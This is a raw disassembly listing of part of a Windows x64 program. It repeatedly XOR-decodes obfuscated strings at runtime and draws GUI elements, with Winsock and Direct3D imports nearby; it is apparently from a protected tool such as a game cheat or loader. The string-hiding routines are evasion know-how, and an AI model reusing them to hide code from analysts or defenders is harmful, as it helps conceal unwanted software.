mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + reloc.WLDAP32.dll_Ordinal_32], 0x20
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
call fcn.14004c830
cmp byte [0x1400f0bda], 0
jne 0x14004f093
cmp byte [0x1400db2f3], 0
mov rcx, qword [0x1400f0be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], bl
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm0, dword [0x1400db79c]
addss xmm2, dword [0x1400db798]
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movss dword [rax + 0x130], xmm0
movsd xmm0, qword [str.QZ_UOX]
mov eax, dword [str.t_8B]
movsd qword [rbp + 0x90], xmm0
mov dword [rbp + 0x98], eax
je 0x14004ed64
mov r8d, r15d
cmp r13d, 2
jl 0x14004ed18
movdqa xmm2, xmmword [0x1400db8b0]
mov r8d, 8
movdqa xmm3, xmmword [0x1400db8c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm0, xmm2
mov eax, dword [str.7777777777777777]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r14d
movd xmm5, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400db8d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.QZ_UOX]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x90], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400db8d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
movd xmm1, dword [rbp + 0x94]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp + 0x94], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x90]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14004ed30
lea rcx, [rbp + 0x90]
call fcn.140039640
mov rcx, qword [0x1400f0be0]
lea r8, [0x1400f0c48]
mov qword [rsp + 0x38], r15
mov r9d, reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], 0x8000
mov rax, qword [rcx + 0x1d18]
mov qword [rbp + 0x100], 0
mov byte [rax + 0xd1], bl
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm0, dword [0x1400db7a8]
addss xmm2, xmm12
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movss dword [rax + 0x130], xmm0
mov eax, dword [0x1400db590]
or dword [rcx + 0x1e58], ebx
mov dword [rbp - 0x30], eax
movzx eax, word [0x1400db594]
xor byte [rbp - 0x2f], 0x38
xor byte [rbp - 0x2e], 0x39
xor byte [rbp - 0x2d], 0x3a
mov word [rbp - 0x2c], ax
xor al, 0x3b
xor byte [rbp - 0x2b], 0x3c
mov byte [rbp - 0x2c], al
lea rax, [rbp + 0x100]
mov dword [rcx + 0x1e5c], 0x43410000
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov byte [rbp - 0x30], reloc.WLDAP32.dll_Ordinal_35
call fcn.14003e040
cmp byte [0x1400f0bdb], 0
mov rcx, qword [0x1400f0be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], bl
mov rax, qword [rcx + 0x1d18]
jne 0x14004efd5
movss xmm0, dword [rax + 0x54]
lea rdx, [rbp + 0xf8]
subss xmm0, dword [rax + 0xa0]
movss xmm2, dword [rax + 0x50]
lea rcx, [rbp - 0x74]
subss xmm2, dword [rax + 0x9c]
mov dword [rbp + 0xf8], 0x43410000
mov dword [rbp + 0xfc], 0x41c80000
addss xmm0, xmm13
addss xmm2, xmm12
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movss dword [rax + 0x130], xmm0
mov eax, dword [str.WSU_]
mov dword [rbp - 0x74], eax
movzx eax, word [0x1400db310]
xor byte [rbp - 0x73], 0x38
xor byte [rbp - 0x72], 0x39
xor byte [rbp - 0x71], 0x3a
mov word [rbp - 0x70], ax
xor al, 0x3b
xor byte [rbp - 0x6f], 0x3c
mov byte [rbp - 0x70], al
mov byte [rbp - 0x74], Ordinal_79
call fcn.14004b190
test al, al
je 0x1400524c9
mov ecx, 8
mov byte [0x1400f0bdb], bl
call fcn.1400c1afc
lea rcx, [rbp + 0x320]
mov r9, rax
lea r8, [0x140059580]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x2c8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x2c0], rax
test rax, rax
je 0x1400526ab
cmp dword [rbp + 0x2c8], 0
je 0x1400526a2
movaps xmm0, xmmword [rbp + 0x2c0]
lea rcx, [rbp + 0x230]
movdqa xmmword [rbp + 0x230], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140052699
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x2c0], xmm0
jmp 0x1400524c9
movss xmm0, dword [rax + 0x50]
lea r9, [rbp + 0x350]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
lea r8, [rbp - 0x10]
subss xmm2, dword [rax + 0xa0]
lea rdx, [rbp + 0xf0]
mov dword [rbp + 0xf0], 0x43410000
mov dword [rbp + 0xf4], 0x41c80000
addss xmm0, xmm12
addss xmm2, xmm13
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movaps xmm2, xmmword [0x1400dbab0]
movdqa xmmword [rbp + 0x230], xmm2
movss dword [rax + 0x130], xmm1
movaps xmm1, xmmword [0x1400dbae0]
movss dword [rax + 0x134], xmm0
movaps xmm0, xmm1
lea rax, [rbp + 0x230]
movdqa xmmword [rbp + 0x350], xmm1
mov qword [rsp + 0x20], rax
movdqa xmmword [rbp - 0x10], xmm1
call fcn.14004be60
jmp 0x1400524c9
movzx eax, byte [0x1400f0bd9]
cmp dword [0x1400f0bdc], 2
mov dword [rbp + 0x108], 0x43480000
cmovbe eax, ebx
mov dword [rbp + 0x10c], 0x43780000
mov rbx, qword [0x1400f0be0]
xor edx, edx
mov byte [0x1400f0bd9], al
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x1400db758]
addss xmm2, xmm15
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [str.___N_]
mov dword [rbp - 0x38], eax
xor byte [rbp - 0x37], 0x38
xor byte [rbp - 0x36], 0x39
xor byte [rbp - 0x35], 0x3a
movzx eax, byte [0x1400db644]
xor al, 0x3b
mov byte [rbp - 0x38], WSAGetLastError
mov byte [rbp - 0x34], al
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [rbp - 0x38]
call fcn.140003310
cmp dword [rbx + 0x1d6c], eax
jne 0x14004f19f
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14004f1ae
mov byte [rbx + 0x1dac], 1
lea r8, [rbp + 0x108]
mov dword [rsp + 0x20], r15d
mov edx, eax
lea rcx, [rbp - 0x38]
call fcn.14000b070
mov eax, dword [0x1400dae18]
mov r8d, r15d
cmp dword [0x1400f0bdc], 0
movups xmm0, xmmword [str.vNXSW__RZ_67_e___kcn]
mov dword [rbp + 0x2f0], eax
sete bl
movzx eax, word [0x1400dae1c]
mov word [rbp + 0x2f4], ax
movzx eax, byte [0x1400dae1e]
mov byte [rbp + 0x2f6], al
mov dword [rbp + 0xd0], 0x43480000
mov dword [rbp + 0xd4], 0x423c0000
movups xmm1, xmmword [0x1400dae08]
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm1
cmp r13d, 2
jl 0x14004f383
movdqa xmm0, xmmword [str.7777777777777777]
lea rcx, [rbp + 0x2d0]
movdqa xmm5, xmmword [0x1400db8b0]
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm7, xmmword [0x1400db8d0]
movdqa xmmword [rbp + 0x230], xmm0
mov edx, dword [rbp + 0x230]
movd xmm6, r14d
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x14004f272
cmp r8d, 0x27
jge 0x14004f3c4
movsxd rax, r8d
lea r9, [rbp + 0x2d0]
add r9, rax
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x27
jl 0x14004f390
cmp byte [0x1400db53f], 0
mov rax, qword [str.dHVU_YO_]
mov qword [rbp + 0x230], rax
je 0x14004f544
cmp r13d, 2
jl 0x14004f4fe
movdqa xmm2, xmmword [0x1400db8b0]
movdqa xmm3, xmmword [0x1400db8c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm0, xmm2
mov eax, dword [str.7777777777777777]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r14d
movd xmm5, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400db8d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
movd xmm1, dword [rbp + 0x230]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0x230], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400db8d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
movd xmm1, dword [rbp + 0x234]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp + 0x234], xmm2
jmp 0x14004f544
lea r11, [rbp + 0x230]
mov r10d, r15d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r11, [r11 + 1]
imul r10d
add edx, r10d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r10b
inc r10d
sub al, cl
add al, 0x37
xor byte [r11 - 1], al
cmp r10d, 8
jl 0x14004f510
mov r8, qword [0x1400f0c68]
lea rax, [rbp + 0xd0]
movzx r9d, bl
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x230]
call fcn.140049170
movsd xmm0, qword [str.bV__OYJZ_A]
test al, al
movzx eax, word [0x1400db2c0]
mov r8, qword [0x1400f0c70]
mov word [rbp - 0x40], ax
movzx eax, byte [0x1400db2c2]
mov dword [rbp + 0x68], 0x43480000
mov dword [rbp + 0x6c], 0x423c0000
movsd qword [rbp - 0x48], xmm0
je 0x14004f5b3
mov dword [0x1400f0bdc], r15d
cmp r15d, 1
jmp 0x14004f5ba
cmp dword [0x1400f0bdc], 1
movzx ecx, word [0x1400db4f8]
lea rdx, [rbp - 0x48]
sete r9b
mov word [rbp - 0x1c], cx
xor byte [rbp - 0x47], 0x38
xor al, 0x41
xor byte [rbp - 0x46], 0x39
xor cl, 0x3b
xor byte [rbp - 0x45], 0x3a
xor byte [rbp - 0x44], 0x3b
xor byte [rbp - 0x43], 0x3c
xor byte [rbp - 0x42], 0x3d
xor byte [rbp - 0x41], 0x3e
xor byte [rbp - 0x40], 0x3f
xor byte [rbp - 0x3f], 0x40
xor byte [rbp - 0x1b], 0x3c
mov byte [rbp - 0x3e], al
mov eax, dword [str.s_Z_RH]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x1400db4fa]
xor byte [rbp - 0x1f], 0x38
xor al, 0x3d
xor byte [rbp - 0x1e], 0x39
xor byte [rbp - 0x1d], 0x3a
mov byte [rbp - 0x1a], al
lea rax, [rbp + 0x68]
mov byte [rbp - 0x1c], cl
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov byte [rbp - 0x48], 0x55
mov byte [rbp - 0x20], 0x44
call fcn.140049170
mov ecx, dword [0x1400f0bdc]
test al, al
movups xmm0, xmmword [0x1400dadc0]
mov eax, 1
mov dword [rbp + 0xd8], 0x43480000
movups xmm1, xmmword [0x1400dadd0]
cmovne ecx, eax
mov dword [rbp + 0xdc], 0x423c0000
mov eax, dword [0x1400dade0]
cmp ecx, 2
mov dword [rbp + 0x2f0], eax
mov r8d, r15d
movzx eax, byte [0x1400dade4]
sete r10b
mov dword [0x1400f0bdc], ecx
mov byte [rbp + 0x2f4], al
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm1
cmp r13d, 2
jl 0x14004f801
movdqa xmm0, xmmword [str.7777777777777777]
lea rcx, [rbp + 0x2d0]
movdqa xmm5, xmmword [0x1400db8b0]
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm7, xmmword [0x1400db8d0]
movdqa xmmword [rbp + 0x230], xmm0
mov edx, dword [rbp + 0x230]
movd xmm6, r14d
movd xmm8, edi
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x14004f6f0
cmp r8d, 0x25
jge 0x14004f844
movsxd rax, r8d
lea r9, [rbp + 0x2d0]
add r9, rax
nop
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x14004f810
movzx eax, word [0x1400dadf0]
lea rdx, [rbp + 0x2d0]
movsd xmm0, qword [0x1400dade8]
lea rcx, [rbp - 0x58]
mov r8, qword [0x1400f0c68]
movzx r9d, r10b
movsd qword [rbp - 0x58], xmm0
xor byte [rbp - 0x57], 0x38
xor byte [rbp - 0x56], 0x39
xor byte [rbp - 0x55], 0x3a
xor byte [rbp - 0x54], 0x3b
xor byte [rbp - 0x53], 0x3c
xor byte [rbp - 0x52], 0x3d
xor byte [rbp - 0x51], 0x3e
mov word [rbp - 0x50], ax
movzx eax, byte [0x1400dadf2]
xor byte [rbp - 0x50], 0x3f
xor al, 0x41
xor byte [rbp - 0x4f], 0x40
mov byte [rbp - 0x4e], al
lea rax, [rbp + 0xd8]
mov qword [rsp + 0x20], rax
mov byte [rbp - 0x58], 0x46
call fcn.140049170
mov ecx, dword [0x1400f0bdc]
test al, al
mov eax, 2
cmovne ecx, eax
mov dword [0x1400f0bdc], ecx
call fcn.14000b320
mov rbx, qword [0x1400f0be0]
xor edx, edx
mov dword [rbp + 0xe0], 0x43220000
mov dword [rbp + 0xe4], 0x42a40000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm14
addss xmm2, xmm15
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [str.EQRO_]
mov dword [rbp - 0x7c], eax
xor byte [rbp - 0x7b], 0x38
xor byte [rbp - 0x7a], 0x39
xor byte [rbp - 0x79], 0x3a
movzx eax, word [0x1400db22c]
mov word [rbp - 0x78], ax
xor al, 0x3b
xor byte [rbp - 0x77], 0x3c
mov byte [rbp - 0x78], al
mov rax, qword [rbx + 0x1d18]
mov byte [rbp - 0x7c], WSAStartup
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [rbp - 0x7c]
call fcn.140003310
cmp dword [rbx + 0x1d6c], eax
jne 0x14004f9cc
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14004f9db
mov byte [rbx + 0x1dac], 1
lea r8, [rbp + 0xe0]
mov dword [rsp + 0x20], r15d
mov edx, eax
lea rcx, [rbp - 0x7c]
call fcn.14000b070
mov rcx, qword [0x1400f0c38]
call fcn.1400117c0
mov rcx, qword [0x1400f0be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm11
addss xmm2, dword [0x1400db738]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
movzx eax, word [0x1400db308]
movsd xmm0, qword [str.r_ISIE_a]
mov rdx, qword [0x1400ef760]
mov word [rbp - 0x60], ax
movzx eax, byte [0x1400db30a]
movsd qword [rbp - 0x68], xmm0
jae 0x14004fab0
lea rdx, [0x1400ef760]
xor byte [rbp - 0x67], 0x38
lea rcx, [rbp - 0x68]
xor byte [rbp - 0x66], 0x39
xor al, 0x41
xor byte [rbp - 0x65], 0x3a
xor byte [rbp - 0x64], 0x3b
xor byte [rbp - 0x63], 0x3c
xor byte [rbp - 0x62], 0x3d
xor byte [rbp - 0x61], 0x3e
xor byte [rbp - 0x60], 0x3f
xor byte [rbp - 0x5f], 0x40
mov byte [rbp - 0x5e], al
mov byte [rbp - 0x68], 0x45
call fcn.140039640
mov rcx, qword [0x1400f0be0]
lea rdx, [0x1400f11e0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp + 0x330]
movss xmm0, dword [rax + 0x130]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm11
maxss xmm0, xmm1
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x130], xmm0
call fcn.140055100
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14004fb53
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbx + 0x18]
movsxd rdi, eax
cmp rdx, 0x10
jb 0x14004fb9c
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14004fb97
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400526be
mov rcx, r8
call fcn.1400c17e8
lea rdx, [rbp + 0x230]
mov qword [rbx + 0x10], r15
lea rcx, [rbp - 0x10]
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov qword [rbp + 0x230], rdi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp - 0x10]
mov eax, dword [rbp + 0x10]
lea r9, [rbp + 0x350]
movups xmm1, xmmword [rbp]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x4c0]
movaps xmmword [rbp + 0x350], xmm0
movaps xmmword [rbp + 0x360], xmm1
mov dword [rbp + 0x370], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
mov qword [rbp + 0x310], r15
movups xmmword [rbp + 0x300], xmm0
mov qword [rbp + 0x318], r15
lea rax, [rbp + 0x4c0]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x14004fc24
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x300]
call fcn.140056c90
cmp qword [rbp + 0x318], 0x10
lea rdx, [rbp + 0x300]
xorps xmm0, xmm0
mov qword [rbp + 0x2e0], r15
cmovae rdx, qword [rbp + 0x300]
mov r8, r12
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e8], r15
inc r8
cmp byte [rdx + r8], 0
jne 0x14004fc73
lea rcx, [rbp + 0x2d0]
call fcn.140056c90
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x20]
call fcn.140048b00
movsd xmm0, qword [str.tJ_OURP]
mov r8d, r15d
movups xmm8, xmmword [rax]
movups xmm9, xmmword [rax + 0x10]
mov eax, dword [0x1400daee8]
mov dword [rbp + 0x78], eax
movzx eax, byte [0x1400daeec]
mov byte [rbp + 0x7c], al
movsd qword [rbp + 0x70], xmm0
cmp r13d, 2
jl 0x14004fde4
movdqa xmm2, xmmword [0x1400db8b0]
mov eax, Ordinal_33
movdqa xmm3, xmmword [0x1400db8c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, dword [str.7777777777777777]
movd xmm6, r14d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400db8d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.tJ_OURP]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x70], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400db8d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
movd xmm1, dword [rbp + 0x74]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp + 0x74], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x70]
add r9, rax
nop
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
